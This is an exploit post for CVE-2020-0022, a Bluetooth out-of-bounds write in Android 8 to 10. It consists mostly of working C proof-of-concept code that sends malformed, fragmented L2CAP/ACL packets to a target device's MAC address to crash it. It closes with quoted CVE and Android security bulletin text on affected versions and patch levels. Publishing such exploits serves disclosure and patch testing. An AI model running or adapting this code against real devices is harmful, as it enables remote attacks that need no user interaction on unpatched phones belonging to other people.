Android Bluetooth Remote Denial Of Service

`# Exploit Title: Critical Bluetooth Vulnerability in Android (CVE-2020-0022) - Remote DoS  
# Author: nu11secur1ty  
# Date: 2020-03-24  
# Vendor: Android  
# Link:  
https://github.com/nu11secur1ty/Andr01dExploits/tree/master/CVE-2020-0022  
# CVE: CVE-2020-0022  
  
  
  
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)  
[+] Website: https://www.nu11secur1ty.com/  
[+] Source: readme from GitHUB  
[+] twitter.com/nu11secur1ty  
  
  
[Exploit Program Code]  
  
/*  
* gcc -lbluetooth poc.c -o poc  
* sudo ./p0c_blue MAC_ADDR  
*/  
  
  
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <sys/socket.h>  
#include <sys/select.h>  
#include <bluetooth/bluetooth.h>  
#include <bluetooth/l2cap.h>  
#include <bluetooth/hci.h>  
#include <bluetooth/hci_lib.h>  
#include <errno.h>  
#include <unistd.h>  
#include <sys/uio.h>  
  
  
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data,  
uint16_t data_length,uint16_t, uint16_t);  
  
int main(int argc,char **argv) {  
bdaddr_t dst_addr;  
if (argc != 2){  
printf("usage: ./p0c_blue MAC_ADDR\n");  
exit(1);  
}  
str2ba(argv[1], &dst_addr);  
struct hci_dev_info di;  
  
// Get HCI Socket  
printf("\nCreating HCI socket...\n");  
int hci_device_id = hci_get_route(NULL);  
int hci_socket = hci_open_dev(hci_device_id);  
if(hci_devinfo(hci_device_id,&di)< 0){  
perror("devinfo");  
exit(1);  
}  
uint16_t hci_handle;  
// -------- L2CAP Socket --------  
// local addr  
struct l2cap_conninfo l2_conninfo;  
int l2_sock;  
struct sockaddr_l2 laddr, raddr;  
laddr.l2_family = AF_BLUETOOTH;  
laddr.l2_bdaddr = di.bdaddr;  
laddr.l2_psm = htobs(0x1001);  
laddr.l2_cid = htobs(0x0040);  
  
// remote addr  
memset(&raddr, 0, sizeof(raddr));  
raddr.l2_family = AF_BLUETOOTH;  
raddr.l2_bdaddr = dst_addr;  
  
// create socket  
printf("\nCreating l2cap socket...\n");  
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){  
perror("create l2cap socket");  
exit(1);  
}  
// bind and connect  
bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));  
if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){  
perror("connect");  
exit(1);  
}  
socklen_t l2_conninfolen = sizeof(l2_conninfo);  
getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo,  
&l2_conninfolen);  
hci_handle = l2_conninfo.hci_handle;  
printf("fuck%d", hci_handle);  
  
// -------- L2CAP Socket --------  
  
// HCI Connect  
printf("\nCreating a HCI BLE connection...\n");  
printf("\nPrepare to send packet\n");  
uint16_t datalen = 33;  
uint16_t _bs_l2cap_len = htobs(datalen);  
uint16_t _bs_cid = htobs(0x0001);  
uint8_t packet[4 + datalen + 0x1000];  
memcpy(&packet[0],&_bs_l2cap_len,2);  
memcpy(&packet[2],&_bs_cid,2);  
memset(&packet[4], 0x99, datalen+0x1000);  
int fl = 36;  
int i =0 ;  
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl );  
i+=fl;  
printf("\nSent fisrt packet\n");  
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300);  
  
printf("\nClosing HCI socket...\n");  
close(hci_socket);  
printf("\nClosing l2cap socket...\n");  
close(l2_sock);  
return 0;  
}  
  
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data,  
uint16_t data_length, uint16_t PBflag, uint16_t dlen){  
uint8_t type = HCI_ACLDATA_PKT;  
uint16_t BCflag = 0x0000; // Broadcast flag  
//uint16_t PBflag = 0x0002; // Packet Boundary flag  
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;  
hci_acl_hdr hd;  
hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
//hd.dlen = (data_length);  
hd.dlen = dlen;  
struct iovec iv[3];  
int ivn = 3;  
  
iv[0].iov_base = &type; // Type of operation  
iv[0].iov_len = 1; // Size of ACL operation flag  
iv[1].iov_base = &hd; // Handle info + flags  
iv[1].iov_len = HCI_ACL_HDR_SIZE; // L2CAP header length + data  
length  
iv[2].iov_base = data; // L2CAP header + data  
iv[2].iov_len = (data_length); // L2CAP header length + data  
length  
  
while (writev(hci_socket, iv, ivn) < 0) {  
if (errno == EAGAIN || errno == EINTR)  
continue;  
perror("writev");  
return -1;  
}  
return 0;  
}  
  
  
[Video]  
https://www.youtube.com/watch?v=9C0bz-GiVUI  
  
  
[Vulnerability Type]  
Remote DoS  
  
  
[CVE Reference]  
In reassemble_and_dispatch of packet_fragmenter.cc, there is possible out  
of bounds write due to an incorrect bounds calculation.  
This could lead to remote code execution over Bluetooth with no additional  
execution privileges needed.  
User interaction is not needed for exploitation.Product: AndroidVersions:  
Android-8.0 Android-8.1 Android-9 Android-10Android ID: A-143894715  
  
  
[Security Issue]  
The Android Security Bulletin contains details of security vulnerabilities  
affecting Android devices. Security patch levels of 2020-02-05 or later  
address all of these issues. To learn how to check a device's security  
patch level, see Check and update your Android version.  
Android partners are notified of all issues at least a month before  
publication. Source code patches for these issues have been released to the  
Android Open Source Project (AOSP) repository and linked from this  
bulletin. This bulletin also includes links to patches outside of AOSP.  
The most severe of these issues is a critical security vulnerability in the  
System component that could enable a remote attacker using a specially  
crafted transmission to execute arbitrary code within the context of a  
privileged process. The severity assessment is based on the effect that  
exploiting the vulnerability would possibly have on an affected device,  
assuming the platform and service mitigations are turned off for  
development purposes or if successfully bypassed.  
Refer to the Android and Google Play Protect mitigations section for  
details on the Android security platform protections and Google Play  
Protect, which improve the security of the Android platform.  
  
  
  
[Disclosure Timeline]  
Published February 3, 2020 | Updated February 5, 2020  
  
  
[+] Disclaimer  
Disclaimer: The entry creation date may reflect when the CVE ID was  
allocated or reserved,  
and does not necessarily indicate when this vulnerability was discovered,  
shared with the affected vendor, publicly disclosed, or updated in CVE.  
  
FIX:  
  
-  
-  
- Fix on OS 10  
  
  
CVE References Type Severity Updated  
AOSP versions  
-------------------------------------------------------------------------------------------------  
CVE-2020-0022 A-143894715 DoS Moderate 10  
  
  
-  
-  
- Table:  
  
https://source.android.com/security/bulletin/2020-02-01  
  
  
@nu11secur1ty  
`